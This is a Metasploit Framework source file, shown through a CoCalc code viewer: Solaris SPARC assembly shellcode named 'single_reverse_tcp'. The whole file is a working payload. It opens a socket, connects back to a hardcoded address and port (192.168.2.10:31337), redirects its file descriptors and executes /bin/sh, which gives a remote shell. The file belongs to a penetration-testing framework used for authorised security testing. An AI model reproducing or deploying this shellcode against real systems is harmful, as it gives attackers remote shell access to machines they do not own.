CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/shellcode/solaris/sparc/single_reverse_tcp.s
Views: 11783
1
##
2
#
3
# Name: single_reverse_tcp
4
# Platforms: Solaris
5
# Authors: vlad902 <vlad902 [at] gmail.com>
6
# Version: $Revision: 1666 $
7
# License:
8
#
9
# This file is part of the Metasploit Exploit Framework
10
# and is subject to the same licenses and copyrights as
11
# the rest of this package.
12
#
13
# Description:
14
#
15
# Single reverse TCP shell.
16
#
17
##
18
19
.globl main
20
21
main:
22
andn %sp, 7, %sp
23
24
mov 1, %o4
25
xor %o3, %o3, %o3
26
xor %o3, %o3, %o2
27
mov 0x02, %o1
28
mov 0x02, %o0
29
mov 0xe6, %g1
30
ta 0x08
31
32
st %o0, [ %sp - 0x08 ]
33
mov 3, %o2
34
fcntl_loop:
35
mov 9, %o1
36
subcc %o2, 1, %o2
37
mov 0x3e, %g1
38
ta 0x08
39
40
bnz fcntl_loop
41
ld [ %sp - 0x08 ], %o0
42
43
#ifndef NO_NULLS
44
set 0x00027a68, %l0
45
#else
46
set 0x27a68fff, %l0
47
srl %l0, 12, %l0
48
#endif
49
set 0xc0a8020a, %l1
50
std %l0, [ %sp - 0x10 ]
51
sub %sp, 16, %o1
52
mov 0x10, %o2
53
mov 0xeb, %g1
54
ta 0x08
55
56
xor %o3, %o3, %o2
57
set 0x2f62696e, %l0
58
set 0x2f736800, %l1
59
sub %sp, 0x10, %o0
60
sub %sp, 0x08, %o1
61
std %l0, [ %sp - 0x10 ]
62
st %o0, [ %sp - 0x08 ]
63
st %g0, [ %sp - 0x04 ]
64
mov 0x3b, %g1
65
ta 0x08
66
67